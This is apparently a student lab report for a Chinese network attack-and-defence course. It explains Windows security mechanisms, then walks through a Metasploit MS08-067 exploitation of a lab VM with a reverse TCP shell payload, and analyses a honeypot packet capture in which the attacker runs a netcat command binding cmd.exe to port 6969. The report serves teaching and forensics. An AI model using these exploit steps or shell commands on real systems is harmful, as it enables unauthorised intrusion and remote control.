20222813 2022-2023-2 《网络攻防实践》第6次作业

本文详细介绍了Windows的安全机制,包括身份认证、授权与访问控制以及安全审计。同时,讨论了渗透攻击的特点和MS08-067漏洞的影响。通过Metasploit工具进行了Windows远程渗透攻击的实战演示,并解析了一次成功的NT系统破解攻击的过程。最后,提出了防止此类攻击的措施,并总结了实验中学到的知识。
摘要由CSDN通过智能技术生成

一、实践内容:

(1)Windows的安全机制
Windows操作系统基于引用监控器模型来实现基本的对象安全模型,引用监控器模型即系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
基于引用监控器这一经典安全模型,Windows的安全体系结构图如下。最核心的是位于内核中的SRM安全引用监控器、位于用户态的LSASS安全服务。

在这里插入图片描述

  • 身份认证机制
    Windows以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。对每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
    Windows为每个用户和计算机设置账户进行管理,本地Administrator和SYSTEM账户拥有最高权限;Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。

  • 授权与访问控制机制
    Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
    对于系统中所有需要保护的资源都抽象成对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。
    每个对象关联一个SD安全描述符:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。

  • 安全审计机制
    LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。

  • 其他安全机制
    中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。

(2)渗透攻击

  • 概述:
    渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。无论是网络渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容,也就是研究如何一步步攻击入侵某个大型网络主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为,而后者则是安全工作者模拟入侵攻击测试,进而寻找最佳安全防护方案的正当手段。
    网络渗透攻击与普通攻击的不同,网络渗透攻击与普通网络攻击的不同在于,普通的网络攻击只是单一类型的攻击。例如,在普通的网络攻击事件中,攻击者可能仅仅是利用目标网络的Web服务器漏洞,入侵网站更改网页,或者在网页上挂马。也就是说,这种攻击是随机的,而其目的也是单一而简单的。网络渗透攻击则与此不同,它是一种系统渐进型的综合攻击方式,其攻击目标是明确的,攻击目的往往不那么单一,危害性也非常严重。
    例如,攻击者会有针对性地对某个目标网络进行攻击,以获取其内部的商业资料,进行网络破坏等。因此,攻击者实施攻击的步骤是非常系统的,假设其获取了目标网络中网站服务器的权限,则不会仅满足于控制此台服务器,而是会利用此台服务器,继续入侵目标网络,获取整个网络中所有主机的权限。为了实现渗透攻击,攻击者采用的攻击方式绝不仅此于一种简单的Web脚本漏洞攻击。攻击者会综合运用远程溢出、木马攻击、密码破解、嗅探、ARP欺骗等多种攻击方式,逐步控制网络。

  • 特点:
    总体来说,与普通网络攻击相比,网络渗透攻击具有几个特性:攻击目的的明确性,攻击步骤的逐步与渐进性,攻击手段的多样性和综合性。

(3)MS08-067漏洞
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。

(4)Windows身份认证机制
安全主体:进行系统资源访问请求的实体对象,包括用户、用户组、计算机。(有唯一标识SID)
Windows为每个用户和计算机设置账户(accounts)进行管理;(限制账户内运行程序对系统资源对象的访问。
Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中;对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证,支持本地身份认证和网络身份认证(客户端访问网络服务器资源时,客户端Netlogon与服务器端Netlogon进行基于"质询-应答式"的身份验证协议过程)两种;
Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。
使用不安全的NTLM和LANMAN协议,攻击者可实施针对Windows的远程口令监听与破解。

(5)Windows攻防技术
Windows本地特权提升:主要通过DLL注入和破解本地程序安全漏洞提升本地特权;Windows敏感信息窃取:Windows系统口令密文提取技术中使用磁盘修复工具包中的rdisk工具创建SAM备份文件副本,并且使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文;Windows消踪灭迹:这里主要是攻击者攻击之后需要清除自己的痕迹,一般采取的方式有:关闭审计功能、清理事件日志;Windows远程控制与后门程序:攻击者在目标系统上完成提权、信息窃取、掩灭踪迹后为了下次能再次登录这才主机会设置后门程序。

二、实践过程:

  1. 动手实践Metasploit windows attacker

使用metasploit软件进行windows远程渗透统计实验。
使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。
首先在攻击机上输入指令"msfconsole"打开metasploit软件。

在这里插入图片描述

使用命令search ms08_067搜寻漏洞情况,使用命令use windows/smb/ms08_067_netapi表明将ms08_067作为目标漏洞:

在这里插入图片描述

使用命令show payloads查看有效的攻击载荷,使用命令set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接:

在这里插入图片描述

在这里插入图片描述

使用命令show options查看需要设置的参数,即攻击机与靶机的IP地址。

在这里插入图片描述

使用命令set LHOST 192.168.37.129设置攻击机Kali;set RHOST 192.168.37.131设置靶机Windows XP Professional:

在这里插入图片描述

输入命令exploit开始渗透,输入ipconfig可以查看靶机自己的IP地址,攻击成功

在这里插入图片描述

  1. 取证分析实践:解码一次成功的NT系统破解攻击

(1)攻击者使用了什么破解工具进行攻击?

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

用Wireshark打开二进制文件,通过"ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106"对数据包进行过滤,可以看到攻击机与靶机在TCP"三次握手"后建立了连接,同时发现靶机的操作系统为windows NT 5.0,攻击机还访问了http://lab.wiretrip.net/Default.htm。

在这里插入图片描述

第117行发现攻击者打开了系统启动文件boot.ini,同时因为"%C0%AF"是/的Unicode编码,使用"ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106&& http"为条件进行过滤,发现出现多次的msadcs.dll,对其中的149号数据包进行追踪,发现攻击者利用漏洞进行了SQL注入攻击,并执行了命令cmd /c echo werd >> c:\fun,同时!ADM!ROX!YOUR!WORLD!这一字符串频繁出现,经过上网搜索,发现这是一个名为msadc2.pl的工具发起的攻击,使用的是RDS漏洞进行了SQL注入攻击。

在这里插入图片描述

(2)攻击者如何使用这个破解工具进入并控制了系统?

可以发现攻击者尝试建立FTP连接,通过追踪发现,这个连接由于口令错误导致连接失败。接着使用ftp进行过滤,发现1106号数据包成功建立了FTP连接。

在1233号数据包中,发现攻击者执行了命令"c+nc±l±p+6969±e+cmd1.exe",表示攻击者连接了6969端口并且获得了访问权限。

在这里插入图片描述

(3)攻击者获得系统访问权限后做了什么?

使用为条件"tcp.port == 6969"进行过滤,发现攻击者先进行了查看文件和权限、删除脚本等常用操作。从数据流来看出攻击者使用了SQl注入攻击,在靶机系统目录下生成一个文件。

在编号2339的数据包中追踪http流,可以看到ADD,这意味着提升权限。

在这里插入图片描述

(4)我们如何防止这样的攻击?

这样的攻击主要是RDS漏洞攻击和Unicode漏洞攻击。
防止的方法有如下几中:
1)限制网络用户访问和调用CMD命令的权限;
2)若没必要使用SCRIPTS和MSADC目录,删除或改名;
3)安装windows NT系统时不要使用默认WINNT路径,您可以改为其他的文件夹,如C:\mywindowsnt;
4)用户可从如下地址下载Microsoft提供的补丁:t.asp为IIS 4.0的补丁地址,.asp为IIS 5.0补丁地址;
5)通过移除或删除系统内/msadc目录,同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁,并注意及时上网更新。

(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

追踪TCP流就可以看到一行字"rfp。txt",可以得知攻击者已经知道这是一台蜜罐主机。

在这里插入图片描述

  1. 团队对抗实践:Windows系统远程渗透攻击和分析

攻击方:杨皓清,使用漏洞为MS08-067,攻击方IP为192.168.11.172,防守方IP为192.168.11.34。
漏洞攻击过程与前面相同

在这里插入图片描述

实验过程中在攻击机使用Wireshark进行捕包。

在这里插入图片描述

发现攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。
利用这个漏洞进行攻击。

使用md 20222813yhq,在防守方<C:\WINNT\system32>中创建了一个名为20222813yhq的文件夹

在这里插入图片描述

在这里插入图片描述

可以看到攻击成功。

三、学习中遇到的问题及解决:

  • 问题1:在进行渗透攻击时,出现错误代码:Exploit completed, but no session was created
  • 问题1解决方案: 此时要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP SP3 中文版,则只需加一行如下命令:
    msf5 exploit(windows/smb/ms08_067_netapi) > set target 34
    target => 34
    然后输入exploit进行攻击即可
  • 问题2:在进行渗透攻击时,攻击方无法ping通防守方的ip
  • 问题2解决方案:将kali攻击机设置成桥接模式,这样就可以让攻击机与靶机在同一网段内,以便渗透攻击的顺利进行。

四、实践总结:

通过本次实验,我学习到了各种Windows操作系统安全攻防的基本原理和方法。学习使用Metasploit利用MS08-067漏洞攻击Windows系统。成功并且成功拿到了shell,可以对靶机进行远程控制。进一步学习了Wireshark对数据包的分析和过滤。对操作系统漏洞的危害性有了更深刻的认识,学习到了很多知识,让我受益匪浅。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值